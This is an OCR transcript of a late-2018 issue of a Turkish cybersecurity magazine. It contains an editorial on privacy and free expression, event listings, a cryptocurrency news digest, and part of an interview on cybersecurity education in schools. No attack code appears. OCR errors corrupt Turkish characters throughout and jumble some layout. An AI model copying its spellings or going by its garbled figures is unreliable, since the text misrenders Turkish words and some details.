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EDITORDEN

Gegtigimiz 10 Aralik insan Haklar1 Evrensel Bildigesi'nin 70. yildénii-
mi idi.

Spartakiisden giiniimiize insanligin tirnaklari ile yazdig: bir destanin
en billur hali.

Bu evrensel haklar manzumesinde yer alan iki madde Arka Kap:
Dergi'nin en 6nemli diisturlar: arasinda yer aliyor.

[lki birdilgenin 12. maddesinde ifade bulan 6zel hayatin gizliligi mese-
lesi. Yani hickimsenin 6zel hayatinin, ailesinin, konutunun, iletigimi-
nin keyfi miidahalelere, izlenmeye, zapt u rapt'a maruz kalmamasi. Us-
telik bu 6zel durumunun taraf devletlerce tiim yasal imkanlar seferber
edilmek suretiyle giivenceye alinmasi.

[lk sayimizdan bu yana internette gizliligi yani anonimity’i iistiine basa
basa tekrarlamamaiz iste bu ytizden.

Dergimizin kirmizi gizgilerinden bir digeri ise evrensel insan haklar:
sozlegmesinin 19. maddesi yani bireylerin diigiince ve ifade hiirriyeti.

[fade hiirriyeti olmadan diigiince hiirriyetinin bir anlam1 olmayacag
acik. Ifade hiirriyeti olmadan, diigiince hiirriyeti ile hepimiz Rodin’in
ditsiinen adam heykelinden farksiz, posteki sayan delilere donmeyecek
miyiz? Oyle ise kisinin sadece kafasinin icerisinde diigiinmesi degil,
higbir baski altinda kalmadan bu fikirlerini ifade edebilmesi de temel
meselelerimizden biri olmali.

Kisi, fikirlerini hem ifade edebilmeli, hem de herhangi bir kisita maruz
kalmadan fikirlerini yayma hiirriyetinden de mahrum edil(e)memeli.

Biz heniiz bu smnirlara erismeye ¢alisirken, insanlik fi¢iinci kugak insan
haklarini konusuyor, internet erisim hakkini!

Internet erisim hakki 2011 yilinda temel bir insan hakki olarak Bir-
lesmis Milletler tarafindan kabul edildi. Ayn1 yil Avrupa Konseyi de
benzer bir karar ald1.

Erisim yasaklarinin hala s6z konusu oldugu tilkemiz bu iki uluslararas:
sozlesmenin de imzacisidir. Olsun hig degilse niyetimiz temiz!

Avrupa tlkelerinin citay1 yiikseltip, genis bant interneti insan haklar
cimlesinden saydig1 ve hane basina 100Mbps’lik internet esigini be-
lirledikleri bir diinyada, bizler Adil Kullanim Kotasrnin kaldirilmas:
kararinin yiiriirliige girmesi arifesinde, servis saglayicilarin fiyat etiketi
degisikligi seferberligine tanik olmaktayiz.

Uygulamanin ruhundan fersah fersah uzak, fiyat degisikligi hamle-
sinden oteye gidememis, ruhlarda heyecandan ¢ok kayg: uyandirmais,
otoritenin kutsal ruhlarini yardima, gozii doymaz sirketleri amana ¢a-
girdigimuz bir siireg!

Sark kurnazligina miiracaat eden servis saglayicilar, kirdan zarar man-
tig1 ile bir dizi diizenlemeye gitmis; adil kullanim kotasinin s6z konusu
oldugu dénemlerde kota sonrasi hiz diisiim esiginin dahi altindaki ra-
kamlar1 “sinirsiz” internet adina pazarlama telagindalar.

Ozel sirketlerin kararlastirdigi bu oranlara bir zahmet BTK’nin ilgi bu-
yurup ¢eki diizen vermesini bekliyoruz.

Oysa bu denklemde eksik olan sivil toplumun, mesleki birligin insasi-
nin bir ufuk ¢izgisi olarak dahi giindemimizde olmamasi ne ac1!

Nicin bu alanda ciddi bir sivil toplum baskist kurulamiyor? Nigin bi-
rileri adil kullanim kotasinin kalkmasi gibi harikulade bir hamlenin

gercek manasinin altini ¢izmiyor? Bunu yapacak kuvvet stiphesiz sivil
toplumun kendisidir.

Internet erigsim hakki, internette gizlilik bugiiniin temel insan hakla-
rindandir.

Internet, merhum Mustafa Akgiil Hocamizin ifade ettigi gibi yagamdir.

Ahir 6émriint bilisim teknolojilerinin gelismesine, yayginlagmasina,
hepsinden de 6te 6zgiirlesmesine vakfeden Mustafa Akgiil Hocay1 bu
vesile ile rahmet ve minnet ile aniyoruz.

Ziyahan Albeniz - editor@arkakapidergi.com



ICINDEKILER

Aralik ‘18 - Ocak ‘19 Siber Giivenlik & Biligim Etkinlikleri ® Arka Kapi Dergi

Kripto Para Haberleri ® uzmancoin.com

Siber Giivenlik Calismalari Kapsaminda istanbul Milli Egitim Miidiirliigii ile Soylesi e Cafer Ulug
Siber Giivenligin Gelecek 30 Yili igin Kehanetler » Utku Sen

Insight’in Diisiindiirdiikleri: Giivenligin ve Giivenilirligin Gelecegi ® Chris Stephenson

3VE: Hollywood Filmlerini Aratmayan bir Dolandiricilik Hikayesi ® Umran Yildirimkaya
Havayolu Sirketleri Hangi Kisisel Bilgileri, Neden Topluyor? e Dr. Ferhat Dikbiyik

Veri Tabani Saldirilari ve Korunma Yontemleri  Omer Faruk Golakoglu

Carsida Buldum Bir Tane: Escrow Odeme Altyapisini

Kullanan Yiizlerce Siteyi Etkileyen Zafiyet ® Berk Diisiiniir

Google’n hildigi sir degildir! e Yusuf Sahin

Kendi Viriisiinii Kendin Yaz: LockDown ¢ Bener Kaya

Ornek Vakalarla Adli Biligim Olay 2: X-Files: Bu Dosyalar Nereden Geldi? ¢ Koray Peksayar
Suclular yakalamak icin, isinde “kotii” olmak zorundasin! e Utku Sen

Richard Greenblatt: Eski Hacker’lardan Kim Kaldi? e Cansu Topukgu

Giinegin Altinda Soylenecek Gok Soz var Kuzey Koreli Hacker Grubu Lazarus ® Onur Oktay
1. Diinya Savasi'nin Kriptoloji Cephesi - Enigma Sifreleme Makinesi ® Bayram Gok

Scapy ile Network Programlama 1 e Giiray Yildirim

Yazilimcilar igin Okuma Listesi ® Muhammed Hilmi Koca

ECHOLINK: Telsiz & internet Birlikteligi Uzerine  Murat Kaygisiz

ONEMLI NOT:

13
17
21
26
35

49
99
39
63
67
10
13
18
86
90
94

ARKA KAPI DERGI bu dergide verilen bilgilerin yeterliligi, tamhgi ve giincelligi konularinda sorumlu degildir. Tiim caba-
lanmiza karsin, dergide verdigimiz yazili bilgiler, grafikler, semalar, gbrseller giincelligini yitirmis olabilirler. ARKA KAPI
DERGI'de yer alan tiim bilgiler ve beyanlar hukuken taahhiit niteliginde olmadigi gibi ARKA KAPI DERGI agisindan da herhan-
gi bir baglayicihgr bulunmamaktadir. Yayinlanan bilgiler 1siginda alacaginiz her tiirlii kararin sorumlulugu tarafiniza aittir.
ARKA KAPI DERGI'de yer alan yazilar egitsel amaclhidir. Bu nedenle ARKA KAPI DERGI'de yer alan bilgiye erisiminiz, kullaniminiz
veya yorumlamaniz neticesinde ugrayabileceginiz ve/veya tclncil kisilere vereceginiz olasi zararlardan hichir sekil ve surette

hukuki ve cezai sorumlulugu bulunmamaktadir.



® ¥ cvBER

Cyber Camp 2019
21 Ocak - 01 Subat | Istanbul

Alaninda uzman egitmenler tarafindan verilecek ve 10 giin
stirecek olan programa son bagvuru tarihi 7 Aralik!

Bilgi: https://www.cybercamp2019.com/

GAZISECONF’18
8-9 Aralik 2018 - Gazi Universitesi |
Ankara

Gazi Universitesinde diizenlenecek olan
bu konferans, saldir1 ve savunma yon-
temleri, siber giivenlikte kariyer, domain
exploitation gibi ¢esitli konular1 kapsamaktadir.

Bilgi: http://gaziseconf.com/

- Tiirkiye Siber Giivenlik Kiimelen-
TURKIYE SIBER . . ..

CUVENLIK KUMELENMESi mes1 taraflndan Slber Kuluplel‘ des-

tegi ile gerceklestirilecek olan bu

egitime Pamukkale Universitesi ev

Siber Giivenlik Egitimi-1
15-16 Aralik 2018 | Denizli

sahipligi yapacaktir.

Bilgi: https://etkinlik.siberkulupler.com/index.
php/2171562lang=tr

BINARY EXPLOITATION
Atbiye

Binary Exploitation
15 Aralik 2018 09:30 - Kadikdy idea | istanbul

Bu etkinlik, Furkan Senanin egitmenliginde gerceklesecek
olan ii¢ kademeli egitimin ilk agamasidur.

Bilgi: https://www.cyber42.org/15-12-2018

etkinlik@arkakapidergi.com ARKA KAPI

Privilege Escalation
22 Aralik 2018 - BJK Plaza PwC
Ofisleri | Istanbul

Murat Seker’in egitmenliginde ger-
ceklesecek bu etkinlikte, egitimlerin
yani sira CTF de yer alacaktir.

CYBER 42

YLI BILGI VEXKAYIT: CYBERAZ.ORG

Bilgi: https://www.cyber42.org/22-
12-2018

ULUDAG’IN ZiRVESi
23 Aralik 2018 - Uludag Universitesi
| Bursa

Alper Basaran, Erbakan Malkog,
Hakki Alkan, Alper Ozcan ve Olcay
Aksoy isimlerinin konusmaci olarak
yer alacag, tecriibelerin ve hacker
olarak para kazanma hikayelerinin paylasilacagi bu konferan-

s1 kagirmayiniz.
%

s TR .. TURKIYESIBER _
Tiirkiye Siber Giivenlik Kiimelenmesi GUVENLIK KUMELENMESI

tarafindan Siber Kuliipler destegi ile
gerceklestirilecek olan bu egitime Karabiik Universitesi ev sa-
hipligi yapacaktir.

Bilgi: https://twitter.com/uybist

Siber Giivenlik Egitimi-2
22-23 Aralik 2018 | Karabiik

Bilgi: https://etkinlik.siberkulupler.com/index.
php/189212%lang=tr

BUSIBER Kis Kamp1 2019
Istanbul

Universite 6grencileri igin ticretsiz kig
kamp1 bagvurular1 icin son giin 26
Aralik 2018.

Bilgi: https://siber.boun.edu.tr/

Staj Eslestirme Programi
Tiirkiye Siber Giivenlik Kiime-
lenmesi tarafindan gerceklestiri-
lecek olan programa son bagvu-
ru tarihi 31 Aralik!

Bilgi: https://staj.siberkulupler.
com/
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Kripto Para Habherleri

1 Ekim 2018 / WEB’in babas, interneti merkezsiz kilmak i¢in
geri dondii.

World Wide Web'in kurucusu Tim Berners-Lee, interneti
merkeziyetsiz kilmay1 ve giicii yeniden insanlarin eline ver-
meyi hedefleyen ‘Solid’ isminde Blockchain tabanli iddial1 bir
acik kaynak projeyi duyurdu.

2 Ekim 2018 / Ripple'n CEO’su: XRP, Bitcoinden 1000 kat
daha hizli ve 1000 kat daha ucuz.

Ripple'in CEO’su Brad Garlinghouse, XRP’nin degeri bir yer-
den digerine tasima konusunda en verimli kripto para olarak
kendisini kanitladigini s6yledi.

3 Ekim 2018 / CFTC Bagkani Giancarlo: Kripto paralar kalici
olacak.

ABD Emtia Vadeli Islemler Komisyonu (CFTC) Bagkani J.
Christopher Giancarlo, “Ben kripto paramin kalici olacagin
diistintiyorum. Bence kripto paranin bir gelecegi var.” dedi.

3 Ekim 2018 / Novogratz: Bitcoin'in bu yil 9,000 dolari kiraca-
g1n1 sanmiyorum.

Fortress'in eski serbest yatirim fonu yoneticisi Michael No-
vogratz, Bitcoin'in su anki ¢6kiisiinden yukari yonlii bir kop-
ma yagama sansinin ¢ok fazla olmadigini séyledi. Novogratz
ayrica “Bitcoin’in bu yil 9,000 dolari kiracagini sanmiyorum.”
yorumunu yaptu.

4 Ekim 2018 / Unlii Wall Street danismanu: Bitcoin ETF onay1
her seyi degistirecek.

Unlii Wall Street danigmani Ric Edelman, CNBC'ye verdigi
demegte SEC’in Bitcoin ETF’si onayinin piyasada her seyi de-
gistirecegini soyledi. Edelman, ilk Bitcoin ETF’si onaylandik-
tan sonra piyasanin esi benzeri goriilmemis bir sermaye akist
yasayacagini iddia etti.

5 Ekim 2018 / Bitcoinde SegWit'in kullanimi, 6nemli bir d6-
niim noktasini agt1.

Bitcoinde islem {icretlerinin azalmasina yarayan SegWit tek-
nolojisi, 6nemli bir doniim noktasini geride birakti. Teknolo-
jinin Bitcoin islemlerinde kullanimi, 4 Ekimde ytizde 53.82’ye
ulast1.

6 Ekim 2018 / Hackllenen 50 milyon Facebook hesabi deep
webde Bitcoin’le satiliyor.

Yakin zaman 6nce hacklenen 50 milyon Facebook hesabinin
deep web'te bulunan bir pazaryerinde kripto para karsiigin-
da satiliga ¢ikarildig: kesfedildi. Hacker’lar, hesap basina 3-12
dolar arasinda degisen ticretler istedi.

8 Ekim 2018 / Bitcoin'in mevcut volatilitesi (oynaklik), yeni
bir rekora imza attu.

Lider kripto para Bitcoinde gittikge diisen fiyat volatilitesi,
2017 yilinin Temmuz ayindan bu yana goriilen en diisiik sevi-
yeye geriledi. Yiiksek ve diisiik fiyat arasindaki farka bakilarak
hesaplanan haftalik volatilite, gecen hafta 317 dolara dustii.
Bu, 2017 yilinin Temmuz ayindan bu yana goriilen en diisiik
seviyeydi.

10 Ekim 2018 / Cin'in Blockchain devleri, en zenginler liste-
sine girdi.

Blockchain alanindaki Jihan Wu, Changpeng Zhao ve Star Xu
gibi Cinliler, bu y1l ilk defa Cin’in en zengin isimleri listesinde
yer ald1.

12 Ekim 2018 / Diinyanin en saygin okullar1 kripto paralara
yatirim yapiyor.

Harvard, Stanford ve MIT gibi Ivy Leaguede bulunan birgok
okul dahil saygin ABD {iniversitelerinin en az bir kripto para
birimi fonuna yatirim yaptiklar: bildirildi.

13 Ekim 2018 / Faruk Eczacibast: Bitcoin, finans diinyasini te-
petaklak edecek 6zelliklere sahip.

Tirkiye Bilisim Vakfi (TBV) Baskami Faruk Eczaciba-
s, TBV’nin liderliginde baslatilan Blockchain Tiirkiye
Platformunun Zorlu Centerda diizenlenen lansman bulusma-
sinda Bitcoin ve kripto paralarin finans diinyasinin kurallarini
tepetaklak edecek 6zelliklere sahip oldugunu séyledi.

16 Ekim 2018 / Novogratz, Bitcoinde biiyiik ralli i¢cin 2019’un
ilk yarisini isaret etti.

Milyarder yatirimct Michael Novogratz, kurumsal yatirimei-
lar vagona atlayana kadar Bitcoinde biiyiik hareket bekleme-
digini, bunun da 2019’un ilk yarisinda gergeklesebilecegini
soyledi.



17 Ekim 2018 / Bitcoin ile 200 milyon dolar gonderdi, sadece
0.1 dolar 6dedi.

Bitcoin ile degeri yaklagik 200 milyon dolar olan 29,999 BTC
transfer eden bir kisi, islem iicreti olarak yalnizca 0.1 dolar
odedi. Geleneksel finansal sistemle karsilastirildiginda bu ola-
ganisti gorunuyor.

19 Ekim 2018 / Bilango agir: Kuzey Koreliler, 2017den beri
yarim milyar dolarlik kripto para ¢almus.

Yayinlanan yeni bir rapora gore Kuzey Koreli hacker grubu
Lazarus, 2017’ nin bagindan bu yana yarim milyar dolar dege-
rinde kripto para ¢aldi.

20 Ekim 2018 / Turkiye'nin yarisindan fazlasi Blockchain'i Bit-
coin saniyor!

Tiiketici arastirmasi sirketi Twentify'n gerceklestirdigi aras-
tirmada Tiirkiye'nin yarisindan fazlasinin Blockchain'i Bitcoin
sandig1 ortaya ¢ikt1. Tiirkiye'nin yiizde 37’si Blockchain tekno-
lojisini bildigini soylerken ytizde 58.3’i Blockchain’i bir kripto
para birimi santyor.

22 Ekim 2018 / Wall Street’in devleri bile artik Bitcoinden
daha oynak.

Bitcoin Oyle bir noktaya geldi ki Amazon, Netflix ve Nvidia
gibi Wall Street’in dev sirketlerinin hisse senetleri bile artik bir
numarali kripto paradan daha fazla oynak.

26 Ekim 2018 / Weiss Ratings uyardi: Bu 4 kripto paraya bu-
lagmayin.

Derecelendirme sirketi Weiss Ratings, yakin zaman 6nce ya-
ymladig1 raporda yatirnmeilarin uzak durmasi gereken kripto
paralar1 bildirdi. 111 farkli kripto paray1 inceleyen sirket, bu
kripto paralar arasinda Aurora Chain, Bitcoin Diamond, Cre-
dits ve Mixine bulagilmamasini tavsiye etti.

26 Ekim 2018 / Visanin CEO’su: Gerekirse biz de kriptoya gi-
reriz.

Odeme hizmeti saglayicilar1 devlerinden Visa'nin CEO’su Al
Kelly, kripto paralari tehdit olarak gérmedigini, gerekirse ken-
dilerinin de girecegini soyledi.

27 Ekim 2018 / Halka arz i¢in hazirlanan Coinbasede toplu
isten ¢cikarma.

Onde gelen kripto para borsalarindan biri olan Coinbase‘in
bu hafta bazi personellerini isten ¢ikardig1 ortaya ¢ikti. Miiste-
ri destek ekibinde ve uyumluluk ile dolandiricilik konulariyla
mesgul diger alanlarda isten ¢ikarmalarin yapildig: bilgisi var.

28 Ekim 2018 / Piyasalardan 5 trilyon dolar silinirken Bitcoin
sok edercesine sabit kald.

Uzmancoin.com ARKA KAPI

Kiiresel piyasalarda bu hafta goriilen satig dalgasiyla birlikte
piyasadan 5 trilyon dolar silinirken Bitcoin, oldukea sasirtict
bir gekilde deger kaybetmedi.

28 Ekim 2018 / Kim Dotcom: ABD Dolar1 aniden ¢okecek,
kripto para alin.

Unlii internet girisimcisi Kim Dotcom oniimiizdeki yillarda
ABD’nin borglarini 6deyemeyerek ciddi bir ekonomik krize
girecegini ve kripto paralarin degerlenecegini iddia etti.

30 Ekim 2018 / ETH, LTC, DASH ve NEO 2018 y1ili kazang-
larin sildi.

6,355 dolardan islem goren Bitcoin diislis gériinimiinii siir-
diiriirken 6nde gelen kripto paralar 2018 yili kazanglarini ta-
mamen sildi.

30 Ekim 2018 / Iranl general: Izlenemez kripto paralar yapti-
rimlari atlatmaya yardim edebilir.

Bir Iranli general, iilkenin uluslararasi ekonomik yaptirimlar-
dan korunmak i¢in yakin zamanda kripto paralar1 kullanabi-
lecegini ima etti.

31 Ekim 2018 / Son 6 ayda Bitcoin’lerin sadece 4’te 1'i hareket
etti.

Kiiresel piyasalarda volatilite geri donerken son alt1 ay i¢inde
tiim Bitcoin'lerin yalnizca 4’te 1’1 adresler arasinda tasindi. Bu
2015’ten bu yana gortilmemis derecede diisiik bir aktivite se-
viyesi olarak kayitlara gegti.

1 Kasim 2018 / BitMEX’in CEO’su moral bozdu: Kripto Ay1
piyasasi 18 ay daha stirebilir.

Diinyanin en biiyiik Bitcoin borsalarindan BitMEX‘in CEO’su
mevcut kripto ay1 piyasasinin 18 ay daha siirebilecegini diisii-
niiyor.

1 Kasim 2018 / Bankacilik devi Morgan Stanley: Kripto para-
lar yeni bir varlik sinifi.

ABD’li bankacilik devi Morgan Stanley, yayinladig1 son rapo-
runda kripto paralarin yeni bir varlik sinifi haline geldigini
belirtti.

2 Kasim 2018 / Kripto para analisti: Bitcoin, Bakkt ile ytiksele-
cek, ETF reddi ile ¢okecek.

Tanman bir kripto para analisti olan Alex Kriiger, Bitcoin'in
Bakkt ile birlikte yiikselise gececegini fakat ETF reddi ile dii-
secegini iddia etti.

3 Kasim 2018 / Kripto para milyoneri, Nevada Célirnde iito-
pik bir diinya inga etmek istiyor.

Eski avukat, yeni milyoner Jeffrey Berns, Nevadada Blockcha-
in temelli bir topluluk olusturma projesi iizerinde ¢alistyor.
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Berns, “Eger Blockchaine inanan yeterli sayida insana sahip
olursak ¢alistirdigumiz biitiin sistemleri degistirebiliriz.” diyor.

4 Kasim 2018 / Ethereum’un kurucusu Vitalik Buterin: Hi¢bir
yere gitmiyorum.

Ethereum'un kurucusu Vitalik Buterin, Ethereumdan ayrila-
cagna iliskin haberleri kesin bir dille reddederek hi¢bir yere
gitmedigini agikladu.

6 Kasim 2018 / Blockchain, 125 milyon dolarlik bedava XLM
dagitiyor!

Kripto para clizdan saglayicist Blockchain, tarihin en biytik
airdrop kampanyasini yapiyor. Sirket 125 milyon dolarlik be-
dava XLM dagitacagini duyurdu.

9 Kasim 2018 / SEC’in EtherDeltadan sonra daha fazla token
borsasini hedeflemesi bekleniyor.

ABD Menkul Kiymetler ve Borsalar Komisyonunun (SEC)
EtherDeltanin kurucusuna kestigi ceza, muhtemelen komis-
yonun kripto token borsalarina kars1 yaptirnm eylemlerinin
ilkini temsil ediyor. Uzmanlar, komisyonun EtherDeltanin ar-
dindan daha fazla borsay1 hedefleyebilecegini soyliiyor.

9 Kasim 2018 / Binance’in kurucusu: Er ya da geg bir sey piya-
say!1 tetikleyecek.

Binance'in kurucusu ve CEO’su Changpeng Zhao, diisen krip-
to para piyasasina iliskin bir yorumda bulundu. Zhao, son ro-
portajinda er ya da geg bir seyin piyasayi harekete gecirecegini
soyledi.

10 Kasim 2018 / Dogecoin’in kurucusu: Bakkt ve Fidelity’nin
sonuglari1 kripto para i¢in kotii olacak.

Pek cok piyasa gozlemcisi, fiyatlarin yeniden ytikselise gecme-
si icin kurumsal yatirimeilarin yolunu gozlerken Dogecoin’in
lider gelistiricisi Jackson Palmer, bu konuda endiseli. Palmer’a
gore kurumsal yatirnmecilar kripto para alaninin temel ilkele-
rine saldiracak.

11 Kasim 2018 / Iran resmi olarak kendi kripto parasini ge-
listirdi.

Euronews’in Reutersdan aktardigina gére Iran kripto para
gelistirme ¢aligmalarini tamamladi. iran Merkez Bankasrnin

(CBI) resmi onayinin ardindan dijital para finans kurumlar:
ve bankalar aras1 6deme islemlerinde test edilecek.

14 Kasim 2018 / Bitcoin aylardir ilk kez 6,000 dolarin altina
distii.

Lider kripto para Bitcoin, son bir yil icinde en diisiik seviye-
sini bir kez daha test etti. Bitcoin dahil bir¢ok kripto para cift
haneli geriledi.

15 Kasim 2018 / Bitcoin Cash blok zinciri resmen boliindi:
Artik iki rakip var.

Bitcoin Cash blok zinciri resmi olarak ikiye bolindi. Artik
Bitcoin Cash ABC ve Bitcoin Cash SV olmak {izere iki rakip
blok zinciri bulunuyor.

16 Kasim 2018 / Iran yaptirimlarina Bitcoin borsasi Binance
de katild1.

ABD’nin Iran’a uyguladigi yaptirimlar1 yenilemesiyle kripto
para borsasi Binance, Iranli kullanicilarindan varliklarini gek-
mesini istedi.

17 Kasim 2018 / Bitcoin Cash savasinin iki aktérii de maden-
cilikte agir kayiplar yastyor.

Bitcoin Cash catallanmasindan sonra iki gruba ayrilan Bitcon
ABC ve Bitcoin SV ekipleri madencilikte biiyiik kayiplar yasi-
yor. Her iki taraf her giin yaklasik 500°er bin dolar zarar ediyor.

17 Kasim 2018 / Wall Street analisti, Bitcoinde yil sonu fiyat
hedefini sert indirdi.

Wall Street analisti Thomas Lee, son kosullar cercevesinde
daha 6nce 25,000 dolar olarak agikladig Bitcoindeki yil sonu
fiyat hedefini 15,000 dolara indirdi.

17 Kasim 2018 / Jihan Wu'dan agik tehdit: Para yatirma anini
bekliyorum!

Hash savaglar1 siirerken Bitcoin ABC kampindan madencilik
devi Bitmain‘in kurucusu Jihan Wu, gatallanmadan gelen BSV
tokem’larini satmak i¢in para yatirma islemlerinin agilmasini
bekledigini sdyledi.

18 Kasim 2018 / Reddit’in kurucusu: Bitcoinde yeniden yiik-
selis i¢in ¢okiise ihtiyac vardi.

Reddit‘in kurucusu Alexis Ohanian CNBC'ye verdigi bir ro-
portajda, kripto para piyasasinin istikrar kazanip olgunlasma-
st icin son birka¢ giin i¢inde kripto para piyasasinda yasanan
¢okiisiin gerekli olduguna inandigini soyledi.

18 Kasim 2018 / XRP, Binancede baz para birimi haline gele-
bilir.
Binance'in kurucusu ve CEO’su Changpeng Zhao, bir Twitter

gonderisinde XRP’nin Binancede baz para birimi olarak liste-
lenebilecegini ima etti.

19 Kasim 2018 / Bitcoin’in piyasa degeri son 13 ayin en diisiik
seviyesine indi.

5,175 dolardan alinip satilan lider kripto para Bitcoin’in piyasa
degeri 90 milyar dolara gerileyerek son 13 aymn en diisiik se-
viyesini gordii.

20 Kasim 2018 / Kripto paralardaki biiyiik tasfiyede 30 milyar
dolar daha silindi.



Kripto paralardaki diistis bugiin de siiriiyor. Bitcoin, 4,400 do-
lar seviyelerini goriirken kripto para piyasasinin degerinden
30 milyar dolar silindi.

20 Kasim 2018 / Kripto para platformu Bakktin acilis1 erte-
lendi.

Bakktin CEO’su Kelly Loeffler'in imzasi ile yaymlanan agik-
lamada, platformun agilist i¢in yeni tarihin 24 Ocak 2019 ola-
rak belirlendigi bildirildi. Daha dnce bu tarih 12 Aralik olarak
acgiklanmigti. Bakkt, New York Borsasrnin ana sirketi ICE ta-
rafindan gelistiriliyor.

21 Kasim 2018 / TRONda Kobe Bryant riizgar:: Konugmaci
olacak.

TRON’un kurucusu Justin Sun, emekli basketbol yildiz1 Kobe
Bryant'n TRON konferansinda konusmaci olarak yer alacagi-
n1 duyurdu.

21 Kasim 2018 / Bitcoin madencilik sirketi, on milyonlarca do-
lar borgla birlikte battu.

ABD merkezli Bitcoin madencilik sirketi Giga Watt'n on mil-
yonlarca dolar bor¢la birlikte iflas bagvurusunda bulundugu
ortaya ¢ikt1.

22 Kasim 2018 / Telegram’in 1.7 milyar dolarhik kripto para
projesinin %70’i tamam.

Rusya merkezli giivenli mesajlasma servisi Telegram'in kripto
para projesi Telegram Open NetworK’iin (TON) gelistirilmesi
% 70 oraninda tamamlandi.

22 Kasim 2018 / Bitcoin'in hash orani tarihin en dik diististinii
yasadi.

En biiyiik kripto para Bitcoin’'in 27 Agustos 2018 tarihinden bu
yana ylizde 44 gerileyen hash orany, tarihinin en sert diististinii
yasad1. Bu bir¢ok madencilerin Agustostan bu yana cihazlari-
n1 kapattigini gosteriyor.

22 Kasim 2018 / Ethereum aginda giivenlik acgig1 tespit edildi,
borsalar uyarildi.

Ethereum akilli sozlesmeleri ve dApp (merkeziyetsiz uygu-
lama) gelistiricisi Level K, Ethereum aginda bazi kétii niyetli
kisilerin ETH alirken biiyiik miktarda ETH tabanli GasToken
tiretebilmesine olanak taniyan bir giivenlik agig1 oldugunu su
yiiziine ¢ikardi.
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Siber Givenlik Galigmalari
Kapsaminda Istanbul Milli
Egitim Muddrlugii ile Soylesi

015 yilinda Halkali IMKB Mesleki ve Teknik Anadolu lar neticesinde; yeni projelere de kapi aralanarak bilisim gii-
2Lisesinde konferanslar ile baslayan proje, 2017den bu-  venligi {izerine yapilan bu egitim ¢alismalari, Istanbul 11 Milli

giine Istanbul il Milli Egitim Miidiirliigii biinyesinde Egitim Miidiirliigii himayelerinde vizyon projelerden biri ola-
ogretmenlere yonelik hizmet ici egitimlerinden, CTFlere rak karsimiza ¢ikmaktadir.

(Capture the Flag — Bayragi Kapma Yarigt); ders Lerigt hazr- Projenin yénetim kurulunda olan Istanbul Il Milli Egitim Mii-
lamadan, siber giivenlik lisesi proje dnerilerine degin ¢alisma-

lar yapilmaktadir. “Siber Giivenlik ve Sosyal Medyanin Dogru diir Yardimcis1 Murat ALTI-NOZ ile birlikte projenin gelecegi
Kullanimi” projesi kapsaminda gerceklestirilen caligtaylarda V¢ yapilmas: planlanan faaliyetler hakkinda konugtuk.
egitim tarihimizde ilkler gerceklestirilmis olup varilan sonug-
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“Siber Giivenlik ve Sosyal Medyanin Dogru Kullanimi”
projesi hakkinda bilgi verir misiniz?

Siber giivenlik ve bilingli sosyal medya kullanimi projemiz
ile siber giivenlik konusunda &grencilerimizde biling olus-
turmak, temel seviyede giivenlik 6nlemlerini alabilmelerini
saglamak, diinyada yasanan siber miicadelenin tilkemize olan
etkileri ve bu alandaki uzman eksikligine dikkat ¢cekerek 6g-
rencilerin siber giivenlik alaninda kariyer planlamasi yapma-
larin1 amaglamaktay1z.

Bu hedefe varmak icin bu yil igerisinde iki ayr1 ¢aligtay ger-
ceklestirdik. Calistaylarimiza Istanbul Universitesi, Boga-
zici Universitesi, Istanbul Teknik Universitesi, Yildiz Tek-
nik Universitesi, Trakya Universitesi ve Istanbul Medeniyet
Universitesinden alaninda uzman akademisyenler; T.C.
Cumbhurbagkanlhig, Milli Egitim Bakanlig1 Talim Terbiye Ku-
rulu Bagkanlig, TUBITAK, HAVELSAN, BTKden uzmanlar;
Istanbul Cumhuriyet Bagsavciligrndan Bilisim Suglari Sorum-
lu Savcisi ve Istanbul Emniyet Miidiirliigii Siber Suglarla Mii-
cadele Subesi'nden yonetici ve uzmanlar; Istanbul’'un 32 ilge-
sinden 16 farkli branstan segilen goniillii toplam 44 6gretmen
katildi. Sahanin deneyimi ve tecriibeleri, akademinin bilgi ve
birikimleri, 6gretmenlerin goniillii ve adanmislig1 projenin
niteligini arttirmistir. Proje kapsaminda ¢alistaylarimiza ka-
tilan 6grencilerimiz ile birlikte 6gretmenlerimizin etkin yer
almast ¢ok 6nemliydi. Istanbul genelinde yaptigimiz cagrida
ytiizlerce bagvuru alindi. Yapilan goriismeler sonucunda 32 il-
geden farkli branglarda gorevli 6gretmenlerimiz goniillii ola-
rak projede yer ald1.

Diizenlediginiz ¢alistaylarda varmak istediginiz hedefler
nelerdi? Ne gibi sonuglara ulastiniz?

[k ¢aligtayimiz1 17-18 Subat’ta diizenledik. “Siber Giivenlik”
ve “Bilingli Sosyal Medya Kullanim1” konularinin hizmet ici
egitim programlarinda yer almasi i¢in gerekli altyap: ¢alisma-
lar1 ele alinarak, egitim programi yazma siireci 6ncesinde ko-
nularin belirlenmesi tizerine bes farkli grup olusturduk.

Ikinci galigtayda ise egitim programi yazma siirecini ele aldik.
Anaokulu, ilkokul, ortaokul ve lise seviyelerine uygun pilot
ders iceriginin hazirlanmasi i¢in gruplarda brang 6gretmenleri
ve akademisyenler ile kurumlardan uzmanlar yer aldi. Temel
Seviye Siber Giivenlik Egitimi, ileri Seviye Siber Giivenlik Egi-
timi ve Bilingli Sosyal Medya Kullanimi bagliklariyla Ogret-
men Yetistirme Genel Midiirligine génderilmek tizere hiz-
met i¢i egitim programlari yazdik. Ayrica 2017-2018 egitim ve
Ogretim yilinda uygulanmasi icin pilot okullar belirledik. Bu
kapsamda alt1 haftalik pilot ders uygulama plani olusturduk.
Siber gtivenlik bilinci konusunun anaokulundan liseye kadar
ogrencilerde kalic1 6grenme olusturmasi, Mesleki ve Teknik
Anadolu Liselerinde Siber Giivenlik boéliimii gibi boliimlerin
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acilmasinin 6nemi ve belki de devaminda Siber Giivenlik Li-
selerinin agilmasinin gerekliligine varana kadar konuguldu.

Projedeki 6gretmenlerinizin siber giivenlik kabiliyetlerini
gelistirmeye yonelik egitimlerinizde nasil bir yol izlediniz?

20174de 11 Miidiirliigiimiizde Bilisim Teknolojileri Il Koordi-
natorliigii biinyesinde “Siber Giivenlik Birimi“ni kurduk. ilgili
birimimizce projedeki 6gretmenlerimizin alanla ilgili bece-
rilerinin artirilmasina yonelik iki calistay ve oncesinde de ti¢
giinliik 6zel bir kurs hazirlandi. Bu 6zel kursta, bir giin bilingli
sosyal medya kullanimi egitimi, iki giin ise uygulamali olarak
siber giivenlik egitimi verildi. Bunun yaninda siber zorbalik
egitici egitimi de verildi. Az 6nce bahsettigimiz gibi Milli Egi-
tim Bakanligr'nin hizmet igi egitim kurs listesinde temel seviye
ve ileri seviye siber glivenlik egitim programlari kurs listesin-
